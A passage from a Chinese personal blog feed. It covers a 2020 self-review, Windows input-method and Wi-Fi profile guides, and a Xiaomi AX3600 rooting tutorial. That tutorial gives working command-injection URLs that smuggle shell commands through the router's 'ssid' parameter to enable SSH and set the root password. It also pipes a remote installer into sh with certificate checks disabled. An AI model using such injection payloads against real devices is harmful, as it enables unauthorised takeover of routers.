Python</p><ul><li>基础语法</li><li>数据分析</li><li>爬虫</li></ul><p>日常不怎么写，编写时需要随时看文档复制，经常会写<code>os.system</code>这种能用就行的代码（</p><p>似乎从未贡献代码 太菜了</p><p>在比赛中会尝试写 C</p><p>对以下语言有了似懂非懂的了解</p><ul><li>css</li><li>javascript</li><li>php</li><li>swift</li><li>C</li><li>MySQL</li></ul><h3 id="CTF">CTF</h3><p>比较擅长 misc，crypto 和 web 一般般，Assembly、Executable、Pwn 和 Reverse 都下手</p><p>个人感觉比 OI 有趣</p><p>比赛参加的不多，感觉总是比别人需要用更多的时间，会跟题过不去~~，自己卷自己~~</p><p>想找人一起打比赛哇</p><h3 id="Amateur-Radio">Amateur Radio</h3><p>学习了一些电子电路知识和业余无线电通信简语</p><p>拿到了中国业余无线电 B 证</p><p>30Mhz 以下的业余频段也能使用了（大概没机会用）</p><p>背完了莫尔斯码和字母表示法</p><p>实际操作能力仍有欠缺</p><p>设备有 DM-5R 和 RTL-SDR</p><p>申请电台执照因年龄不足而被拒绝</p><h3 id="Japanese">Japanese</h3><p>日常听歌看番都需要日语，而且我所在的上海日语浓度感觉挺高的（可以去下面的文章看看），所以在学习，大概有点进步（</p><p><span class="exturl" data-url="aHR0cHM6Ly9oZXgubW9lL3AvYjIyNjZjZDEv">上海之旅<i class="fa fa-external-link-alt"></i></span> by LovelyWei</p><p>标日初级仍在学习中</p><p>主要会在 Twitter 使用，有时在 Telegram 也会使用~~，甚至能用日语跟乌克兰人交流~~</p><p>总喜欢把多种语言混合在一起用</p><h3 id="Double-Pinyin">Double Pinyin</h3><p>学习并使用小鹤双拼</p><p>提升了打字效率</p><p>（然而连指法都不会）</p><h2 id="Social">Social</h2><p>不去比较数字</p><p>对于每一位 Follower 我都表示感谢</p><table><thead><tr><th>Site</th><th>Count</th></tr></thead><tbody><tr><td><span class="exturl" data-url="aHR0cHM6Ly90Lm1lL0VNZmllbGQ=">Telegram 频道<i class="fa fa-external-link-alt"></i></span></td><td>44</td></tr><tr><td>Telegram PM</td><td>20</td></tr><tr><td><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0P3RhYj1mb2xsb3dlcnM=">GitHub<i class="fa fa-external-link-alt"></i></span></td><td>50</td></tr><tr><td><span class="exturl" data-url="aHR0cHM6Ly90d2l0dGVyLmNvbS9NaXNha2FfMHgzNGNhL2ZvbGxvd2Vycw==">Twitter<i class="fa fa-external-link-alt"></i></span></td><td>61</td></tr><tr><td><a href="/links/">blog 友链</a> （双向）</td><td>10</td></tr></tbody></table><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2020/EMfield.png" alt="频道折线统计"></p><p><s>（去除了减的部分）</s></p><p>自制图，因为还没到 50 人，看不到官方统计</p><p>加入了许多群，认识了许多人</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2020/twitter.jpg" alt="Twitter interaction circle"></p><p>虽然很少主动发起聊天，但是要是想找我随时欢迎 w</p><h2 id="Site">Site</h2><p>一句话总结：fork, modify, deploy</p><p>建立了博客、关于、主页等等页面</p><p><s>别人好看的页面被我看上后下一秒就是我的了</s></p><p>写了 11 篇文章</p><p><span class="exturl" data-url="aHR0cHM6Ly9hdHJpLnRrL3NpdGVtYXAueG1s">Sitemap<i class="fa fa-external-link-alt"></i></span></p><p>没钱钱买域名，<code>moeneko.xyz</code>无力续费，更换为免费域名<code>atri.tk</code></p><h2 id="ACG">ACG</h2><p>完成了</p><ul><li>とある科学の超電磁砲 T</li><li>ヴァイオレット・エヴァーガーデン</li><li>ヴァイオレット・エヴァーガーデン 外伝 - 永遠と自動手記人形 -</li><li>ご注文はうさぎですか？</li><li>ご注文はうさぎですか？？</li><li>かぐや様は告らせたい ～天才たちの恋愛頭脳戦～</li><li>かぐや様は告らせたい？<s>～天才たちの恋愛頭脳戦～</s></li><li>マギアレコード 魔法少女まどか ☆ マギカ外伝</li><li>デート・ア・バレット デッド・オア・バレット</li><li>デート・ア・バレット ナイトメア・オア・クイーン</li><li>泣きたい私は猫をかぶる</li><li>プラスティック・メモリーズ</li><li>ネコぱら</li><li>ネコぱら vol.4 ネコとパティシェのノエル</li><li>ATRI -My Dear Moments-</li><li>サノバウィッチ</li><li>千恋＊万花 （未全通）</li><li>RIDDLE JOKER</li><li>喫茶ステラと死神の蝶 （未全通）</li><li>リトルバスターズ！</li><li>リトルバスターズ！エクスタシー （100% CG 达成）</li><li>クドわふたー</li><li>美少女万華鏡 ―呪われし伝説の少女―</li><li>美少女万華鏡 ―忘れな草と永遠の少女―</li><li>美少女万華鏡 ―神が造りたもうた少女たち―</li><li>美少女万華鏡 ―理と迷宮の少女― （未全通）</li></ul><p>在看</p><ul><li>ご注文はうさぎですか？BLOOM</li><li>リトルバスターズ！～ Refrain ～</li><li>リトルバスターズ！EX</li></ul><p>想看&amp;搁置了</p><ul><li>劇場版 ヴァイオレット・エヴァーガーデン</li><li>CLANNAD</li><li>智代アフター ～ It’s a Wonderful Life ～</li><li>美少女万華鏡 ―罪と罰の少女―</li><li>ATRI -My Dear Moments- （REPLAY）</li><li>ドラクリオット！</li><li>天色＊アイルノーツ</li><li>あまいろショコラータ</li><li>ネコ神さまと、ななつぼし -妹の姉-</li></ul><div class="note warning"><p>本文不使用 CC BY-NC-SA 协议公开。</p><p>保留所有权利，未经许可禁止转载，请知悉。</p></div>]]></content>
    
    
    <summary type="html">&lt;p&gt;2020 总结&lt;/p&gt;</summary>
    
    
    
    <category term="摸鱼" scheme="https://blog.apeiria.net/categories/%E6%91%B8%E9%B1%BC/"/>
    
    
    <category term="Personal" scheme="https://blog.apeiria.net/tags/Personal/"/>
    
    <category term="Summary" scheme="https://blog.apeiria.net/tags/Summary/"/>
    
  </entry>
  
  <entry>
    <title>在微软拼音中快速添加双拼方案</title>
    <link href="https://blog.apeiria.net/2021/xiaohe-mspinyin/"/>
    <id>https://blog.apeiria.net/2021/xiaohe-mspinyin/</id>
    <published>2021-01-21T10:47:22.000Z</published>
    <updated>2021-01-21T10:47:22.000Z</updated>
    
    <content type="html"><![CDATA[<p><span class="exturl" data-url="aHR0cHM6Ly93d3cuZmx5cHkuY29tL3Bpbi5odG1s">小鹤双拼<i class="fa fa-external-link-alt"></i></span>是双拼输入法中的一种键盘方案。在 macOS 自带输入法、Gboard、搜狗输入法等输入法中都内置了这种方案。但是在 Win10 的微软拼音中，并没有内置这种方案，那么如何添加这种方案呢？<!-- 这个开头绝对受上一篇影响了 --></p><span id="more"></span><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/xiaohe-mspinyin/macos.png" alt="macOS中选择使用小鹤双拼"></p><p>macOS 内置的输入法虽然不能自定义双拼键位，但含有我正在使用的小鹤双拼方案。</p><h2 id="在「设置」应用中逐个添加">在「设置」应用中逐个添加</h2><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/xiaohe-mspinyin/Settings.png" alt="双拼方案"></p><p>Win10 安装微软拼音输入法后默认只含有这些双拼方案：</p><ul><li>微软双拼</li><li>智能 ABC</li><li>自然码</li></ul><p>打开「设置」，进入<code>时间和语言</code>，在<code>区域和语言</code>中点击<code>中文</code>-<code>选项</code>，添加<code>微软拼音</code>输入法（如果未出现），随后点击<code>选项</code>-<code>常规</code>，将<code>拼音设置</code>修改为<code>双拼</code>。在下方创建自定义双拼方案并逐个绑定键位。如果不清楚键位可以看图对应设置。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/xiaohe-mspinyin/layout.png" alt="小鹤双拼方案"></p><h2 id="使用「注册表编辑器」修改对应注册表">使用「注册表编辑器」修改对应注册表</h2><p>右键<code>Windows徽标</code>，选择<code>运行</code>（快捷键：<code>Win</code>+<code>R</code>）</p><p>输入<code>regedit</code>打开注册表编辑器，跳转到以下路径:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_CURRENT_USER\SOFTWARE\Microsoft\InputMethod\Settings\CHS</span><br></pre></td></tr></table></figure><div class="note info"><p>默认情况：</p><ul><li>你没有设置其他自定义双拼方案<blockquote><p>如果有，请对应序号修改键名称</p></blockquote></li><li>你已安装并使用简体中文输入法</li></ul></div><p>新建字符串值<code>UserDefinedDoublePinyinScheme0</code>，并将值设置为<code>小鹤双拼*2*^*iuvdjhcwfg^xmlnpbksqszxkrltvyovt</code></p><p>接下来去「设置」中将小鹤双拼设为默认，也可以直接继续修改注册表，最终注册表可能是这样：</p><table><thead><tr><th>名称</th><th>类型</th><th>数据</th></tr></thead><tbody><tr><td>UserDefinedDoublePinyinScheme0</td><td>REG_SZ</td><td>小鹤双拼<em>2</em>^*iuvdjhcwfg^xmlnpbksqszxkrltvyovt</td></tr><tr><td>Enable Double Pinyin</td><td>REG_DWORD</td><td>00000001</td></tr><tr><td>DoublePinyinScheme</td><td>REG_DWORD</td><td>0000000a</td></tr></tbody></table><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/xiaohe-mspinyin/Registry.png" alt="注册表中设置完成的数据"></p><h2 id="直接导入注册表">直接导入注册表</h2><div class="note info"><p>默认情况：</p><ul><li>你没有设置其他自定义双拼方案<blockquote><p>如果有，可能会被覆盖</p></blockquote></li><li>你已安装并使用简体中文输入法</li></ul></div><p>懒人专用，<span class="exturl" data-url="aHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L2doL01pc2FrYTEzNTE0L2Fzc2V0QG1haW4vYmxvZy9fcG9zdHMveGlhb2hlLW1zcGlueWluL3hpYW9oZS5yZWc=">点此下载<i class="fa fa-external-link-alt"></i></span>并导入</p><p>文件内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\SOFTWARE\Microsoft\InputMethod\Settings\CHS]</span><br><span class="line">&quot;Enable Double Pinyin&quot;=dword:00000001</span><br><span class="line">&quot;UserDefinedDoublePinyinScheme0&quot;=&quot;小鹤双拼*2*^*iuvdjhcwfg^xmlnpbksqszxkrltvyovt&quot;</span><br><span class="line">&quot;DoublePinyinScheme&quot;=dword:0000000a</span><br></pre></td></tr></table></figure><div class="note warning"><p>无论何时，在导入注册表前</p><ul><li>检查该文件，确保该文件可信</li><li>了解这将带给系统的修改并造成的影响</li></ul></div>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;span class=&quot;exturl&quot; data-url=&quot;aHR0cHM6Ly93d3cuZmx5cHkuY29tL3Bpbi5odG1s&quot;&gt;小鹤双拼&lt;i class=&quot;fa fa-external-link-alt&quot;&gt;&lt;/i&gt;&lt;/span&gt;是双拼输入法中的一种键盘方案。在 macOS 自带输入法、Gboard、搜狗输入法等输入法中都内置了这种方案。但是在 Win10 的微软拼音中，并没有内置这种方案，那么如何添加这种方案呢？&lt;!-- 这个开头绝对受上一篇影响了 --&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="Windows" scheme="https://blog.apeiria.net/tags/Windows/"/>
    
    <category term="Windows 10" scheme="https://blog.apeiria.net/tags/Windows-10/"/>
    
    <category term="Microsoft Pinyin IME" scheme="https://blog.apeiria.net/tags/Microsoft-Pinyin-IME/"/>
    
    <category term="Double pinyin" scheme="https://blog.apeiria.net/tags/Double-pinyin/"/>
    
    <category term="flyPY" scheme="https://blog.apeiria.net/tags/flyPY/"/>
    
    <category term="Keyboard" scheme="https://blog.apeiria.net/tags/Keyboard/"/>
    
    <category term="IME" scheme="https://blog.apeiria.net/tags/IME/"/>
    
  </entry>
  
  <entry>
    <title>删除 Win10 中不再使用的或重复的网络</title>
    <link href="https://blog.apeiria.net/2020/win-ssid-number/"/>
    <id>https://blog.apeiria.net/2020/win-ssid-number/</id>
    <published>2020-12-24T14:17:15.000Z</published>
    <updated>2020-12-24T14:17:15.000Z</updated>
    
    <content type="html"><![CDATA[<p>Win 8 及 Win 10 重置路由器（或更换）后，再次连接路由器（还是原 SSID 的情况下）鼠标悬停右下角网络图标，显示的网络名称后边会跟一个数字，比如 <code>SSID 2</code> 或 <code>网络 2</code>，那么如何删除这个数字呢？</p><span id="more"></span><p>这个问题有多种方法可以解决</p><div class="note info"><p>删除配置后，如果再次连接需要输入密码</p></div><div class="note warning"><p>如果你曾经连接过很多网络，可能会有很多数据，一定要看清楚再删除！</p><p>在操作过程中可能需要<code>Administrator</code>权限</p></div><h2 id="使用「设置」应用">使用「设置」应用</h2><p>在开始菜单中打开设置，进入<code>网络和Internet</code>，选择<code>Wi-Fi</code></p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/win-ssid-number/Settings-Network.png" alt="Wi-Fi"></p><p>点击管理已保存的网络，找到需要删除的网络配置删除即可</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/win-ssid-number/Settings-Network-Forget.png" alt="管理已保存的网络"></p><h2 id="使用命令行">使用命令行</h2><p>如果你正在远程操作一台服务器或是习惯命令行的操作方式，这种方法会更快捷。</p><p>右键<code>Windows徽标</code>（快捷键：<code>Win</code>+<code>X</code>），选择<code>命令提示符（管理员）</code>或<code>Powershell（管理员）</code></p><p>输入：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh wlan show profiles <span class="comment">#显示网络配置</span></span><br><span class="line">netsh wlan show all      <span class="comment">#我 全 都 要</span></span><br></pre></td></tr></table></figure><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/win-ssid-number/netsh-show.png" alt="显示网络配置"></p><blockquote><p><code>Profiles on interface *Wi-Fi*</code></p></blockquote><p>其中的<code>*Wi-Fi*</code>是网络接口名称，不同设备可能显示结果不同</p><p>找到要删除的配置名称<code>*Network*</code></p><p>使用以下命令删除</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh wlan delete profile name=<span class="string">&quot;*Network*&quot;</span> interface=<span class="string">&quot;*Wi-Fi*&quot;</span></span><br></pre></td></tr></table></figure><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/win-ssid-number/netsh-delete.png" alt="删除网络配置"></p><p>显示已删除，再次查看网络配置，发现删除成功</p><h2 id="使用「注册表编辑器」">使用「注册表编辑器」</h2><p>以上方法可能并不能成功找到所有的配置，而使用「注册表编辑器」是一个彻底的方法。</p><p>右键<code>Windows徽标</code>（快捷键：<code>Win</code>+<code>X</code>），选择<code>运行</code></p><p>（快捷键：<code>Win</code>+<code>R</code>）</p><p>输入<code>regedit</code>打开注册表编辑器，找到如下路径:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles</span><br></pre></td></tr></table></figure><p>删除掉相关的注册子键，如图所示:</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/win-ssid-number/regedit.png" alt="注册子键"></p><p>然后在控制面板（<code>Win</code>+<code>R</code>, control）中禁用再启用网卡即可。</p><h2 id="参考资料">参考资料</h2><ul><li><a href="https://superuser.com/questions/850438/remove-the-2-after-the-ssid-on-windows-8-0">Remove the “2” after the SSID on Windows 8.0<br></a></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;Win 8 及 Win 10 重置路由器（或更换）后，再次连接路由器（还是原 SSID 的情况下）鼠标悬停右下角网络图标，显示的网络名称后边会跟一个数字，比如 &lt;code&gt;SSID 2&lt;/code&gt; 或 &lt;code&gt;网络 2&lt;/code&gt;，那么如何删除这个数字呢？&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="Windows" scheme="https://blog.apeiria.net/tags/Windows/"/>
    
    <category term="Windows 10" scheme="https://blog.apeiria.net/tags/Windows-10/"/>
    
    <category term="Network" scheme="https://blog.apeiria.net/tags/Network/"/>
    
  </entry>
  
  <entry>
    <title>AX3600 开启 ssh 并使用 Clash 实现透明代理</title>
    <link href="https://blog.apeiria.net/2020/ax3600-ssh-clash/"/>
    <id>https://blog.apeiria.net/2020/ax3600-ssh-clash/</id>
    <published>2020-09-13T04:29:28.000Z</published>
    <updated>2020-09-13T04:29:28.000Z</updated>
    
    <content type="html"><![CDATA[<p>整了台小米路由器 AX3600 玩 <s>我没有 root 权限会死所以</s>root 了下，发现还能用 clash</p><span id="more"></span><h2 id="获取-root-权限并打开-ssh">获取 root 权限并打开 ssh</h2><h3 id="使用官方固件漏洞开启-ssh">使用官方固件漏洞开启 ssh</h3><p>先需要将固件版本降级到<code>1.0.17</code>，固件可以在<span class="exturl" data-url="aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2RyaXZlL2ZvbGRlcnMvMXRJaktNTlNTcmtZbTh2Qkdtay1nUFRqVHJZdVJFR0x0">这里<i class="fa fa-external-link-alt"></i></span>下载。</p><p>连接上 wifi 并打开<span class="exturl" data-url="aHR0cDovLzE5Mi4xNjguMzEuMS8=">路由器管理页面<i class="fa fa-external-link-alt"></i></span></p><p>登录后浏览器地址栏应该是这样的：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.31.1/cgi-bin/luci/;stok=&lt;STOK&gt;/web/home#router</span><br></pre></td></tr></table></figure><p>复制记下这个<code>&lt;STOK&gt;</code></p><p>把下面 URL 中的<code>&lt;STOK&gt;</code>替换成刚才的，并访问</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.31.1/cgi-bin/luci/;stok=&lt;STOK&gt;/api/misystem/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20&#x27;s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg&#x27;%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B</span><br></pre></td></tr></table></figure><p>会显示<code>&#123;&quot;code&quot;:0&#125;</code></p><p>再来一个 URL，注意替换<code>STOK</code></p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.31.1/cgi-bin/luci/;stok=&lt;STOK&gt;/api/misystem/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3B%20echo%20-e%20&#x27;admin%5Cnadmin&#x27;%20%7C%20passwd%20root%3B</span><br></pre></td></tr></table></figure><p>到这里 ssh 就成功打开了<br>可以使用用户名 root+密码 admin 来 ssh 登录路由器</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh root@192.168.31.1</span><br></pre></td></tr></table></figure><p>输入密码回车后可以看到</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">BusyBox v1.25.1 (YYYY-MM-DD HH:mm:ss UTC) built-in shell (ash)</span><br><span class="line"></span><br><span class="line"> -----------------------------------------------------</span><br><span class="line">       Welcome to XiaoQiang!</span><br><span class="line"> -----------------------------------------------------</span><br><span class="line">  $$$$$$\  $$$$$$$\  $$$$$$$$\      $$\      $$\        $$$$$$\  $$\   $$\</span><br><span class="line"> $$  __$$\ $$  __$$\ $$  _____|     $$ |     $$ |      $$  __$$\ $$ | $$  |</span><br><span class="line"> $$ /  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ /  $$ |$$ |$$  /</span><br><span class="line"> $$$$$$$$ |$$$$$$$  |$$$$$\         $$ |     $$ |      $$ |  $$ |$$$$$  /</span><br><span class="line"> $$  __$$ |$$  __$$&lt; $$  __|        $$ |     $$ |      $$ |  $$ |$$  $$&lt;</span><br><span class="line"> $$ |  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ |  $$ |$$ |\$$\</span><br><span class="line"> $$ |  $$ |$$ |  $$ |$$$$$$$$\       $$$$$$$$$  |       $$$$$$  |$$ | \$$\</span><br><span class="line"> \__|  \__|\__|  \__|\________|      \_________/        \______/ \__|  \__|</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">root@XiaoQiang:~#</span><br></pre></td></tr></table></figure><p>这个 RUOK 就很灵性</p><h3 id="更改密码及权限维持">更改密码及权限维持</h3><p>重新设置 root 密码</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">passwd root</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><p>这样并不能保证升级后 ssh 仍能使用，如果留在这个版本漏洞还是有一定风险。</p><p>备份</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nanddump -f /tmp/bdata_mtd9.img /dev/mtd9</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><p>用你喜欢的方式下载<code>bdata_mtd9.img</code>，我使用 scp 命令</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scp root@192.168.31.1:/tmp/bdata_mtd9.img ~/</span><br></pre></td></tr></table></figure><p>下载<a href="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/ax3600-ssh-clash/fuckax3600"><code>fuckax3600</code></a>(作者：<span class="exturl" data-url="aHR0cHM6Ly93d3cucmlnaHQuY29tLmNuL2ZvcnVtL3NwYWNlLXVpZC0xOTQ4MTMuaHRtbA==">paldier<i class="fa fa-external-link-alt"></i></span>) 并传到路由器的<code>/tmp</code>目录</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scp ~/Downloads/fuckax3600 root@192.168.31.1:/tmp/</span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> +x /tmp/fuckax3600</span><br><span class="line">/tmp/fuckax3600 unlock</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><p>等待路由器重启后</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/tmp/fuckax3600 hack</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><p>会自动设置永久 ssh、telnet、uart 权限，同时会计算出默认的 root 密码，注意记录密码，恢复出厂后 telnet 和 ssh 需要用</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/tmp/fuckax3600 lock</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><p>然后就可以升级新版本了，如果升级完新版本 ssh 不能用</p><p>使用 telnet 登录</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">telnet 192.168.31.1</span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sed -i <span class="string">&#x27;s/channel=.*/channel=&quot;debug&quot;/g&#x27;</span> /etc/init.d/dropbear</span><br><span class="line">/etc/init.d/dropbear start</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><h2 id="安装-clash-作为透明代理">安装 clash 作为透明代理</h2><p>这里使用一键脚本<a href="https://github.com/juewuy/ShellClash"><code>ShellClash</code></a></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sh -c <span class="string">&quot;<span class="subst">$(curl -kfsSl https://cdn.jsdelivr.net/gh/juewuy/ShellClash@latest/install.sh)</span>&quot;</span> &amp;&amp; <span class="built_in">source</span> /etc/profile &amp;&gt; /dev/null</span><br><span class="line">clash</span><br><span class="line"><span class="comment">#在路由器shell执行</span></span><br></pre></td></tr></table></figure><p>使用<code>clash</code>命令就能打开管理脚本</p><h2 id="参考">参考</h2><ul><li><p><span class="exturl" data-url="aHR0cHM6Ly93d3cucmlnaHQuY29tLmNuL2ZvcnVtL2ZvcnVtLnBocD9tb2Q9dmlld3RocmVhZCZ0aWQ9NDA0NjAyMA==">[AX3600] 小米 ax3600 获取 root 权限【简单快速】【修复丢 ssid】<i class="fa fa-external-link-alt"></i></span></p></li><li><p><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2p1ZXd1eS9TaGVsbENsYXNo">juewuy/ShellClash<i class="fa fa-external-link-alt"></i></span></p></li><li><p><span class="exturl" data-url="aHR0cHM6Ly9qdWV3dXkuZ2l0aHViLmlvL3Bvc3QvY2xhc2gtZm9yLW1pd2lmaS1hbi16aHVhbmctamktc2hpLXlvbmctamlhby1jaGVuZy8=">Clash for Miwifi 安装及使用教程<i class="fa fa-external-link-alt"></i></span></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;整了台小米路由器 AX3600 玩 &lt;s&gt;我没有 root 权限会死所以&lt;/s&gt;root 了下，发现还能用 clash&lt;/p&gt;</summary>
    
    
    
    <category term="笔记" scheme="https://blog.apeiria.net/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="OpenWRT" scheme="https://blog.apeiria.net/tags/OpenWRT/"/>
    
    <category term="GFW" scheme="https://blog.apeiria.net/tags/GFW/"/>
    
    <category term="Shadowsocks" scheme="https://blog.apeiria.net/tags/Shadowsocks/"/>
    
    <category term="ShadowsocksR" scheme="https://blog.apeiria.net/tags/ShadowsocksR/"/>
    
    <category term="V2Ray" scheme="https://blog.apeiria.net/tags/V2Ray/"/>
    
    <category term="Trojan" scheme="https://blog.apeiria.net/tags/Trojan/"/>
    
    <category term="Proxy" scheme="https://blog.apeiria.net/tags/Proxy/"/>
    
    <category term="Clash" scheme="https://blog.apeiria.net/tags/Clash/"/>
    
    <category term="Xiaomi" scheme="https://blog.apeiria.net/tags/Xiaomi/"/>
    
    <category term="Router" scheme="https://blog.apeiria.net/tags/Router/"/>
    
    <category term="ROM" scheme="https://blog.apeiria.net/tags/ROM/"/>
    
  </entry>
  
  <entry>
    <title>使用 GitHub Actions 自动部署 blog</title>
    <link href="https://blog.apeiria.net/2020/github-actions-hexo/"/>
    <id>https://blog.apeiria.net/2020/github-actions-hexo/</id>
    <published>2020-07-29T04:41:05.000Z</published>
    <updated>2020-07-29T04:41:05.000Z</updated>
    
    <content type="html"><![CDATA[<p>最近把 hexo blog 修改成用 GitHub Actions 自动部署的了，发篇文章测试一下<s>水一水</s></p><span id="more"></span><div class="note info"><p>目前博客<a href="/2021/deploy-frontend-to-cfpages/">迁移至Cloudflare Pages</a>，此Action不再生效。</p></div><p><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0L2Jsb2cvYmxvYi9tYWluLy5naXRodWIvd29ya2Zsb3dzL2RlcGxveS55bWw=">照抄+乱改的配置文件<i class="fa fa-external-link-alt"></i></span> <s>还算有点样子</s></p><p>我 blog 所有源文件基本都在 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0L2Jsb2c=">blog<i class="fa fa-external-link-alt"></i></span> / <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0L2Fib3V0">about<i class="fa fa-external-link-alt"></i></span> 公开。<s>如果想发现我的 blog 有错误就可以直接 pr 帮我解决啦</s></p><p>交换友链可以在<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0L0ZyaWVuZHM=">这里<i class="fa fa-external-link-alt"></i></span>pr。</p><p>总之，要是发现 blog 有什么异常欢迎联系我反馈。(◍•ᴗ•◍)❤</p><p>参考链接：</p><ul><li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL21hcmtldHBsYWNlL2FjdGlvbnMvaGV4by1hY3Rpb24=">Hexo Action on GitHub Marketplace<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9kb2NzLmdpdGh1Yi5jb20vZW4vYWN0aW9ucw==">GitHub Actions Documentation<i class="fa fa-external-link-alt"></i></span></li></ul>]]></content>
    
    
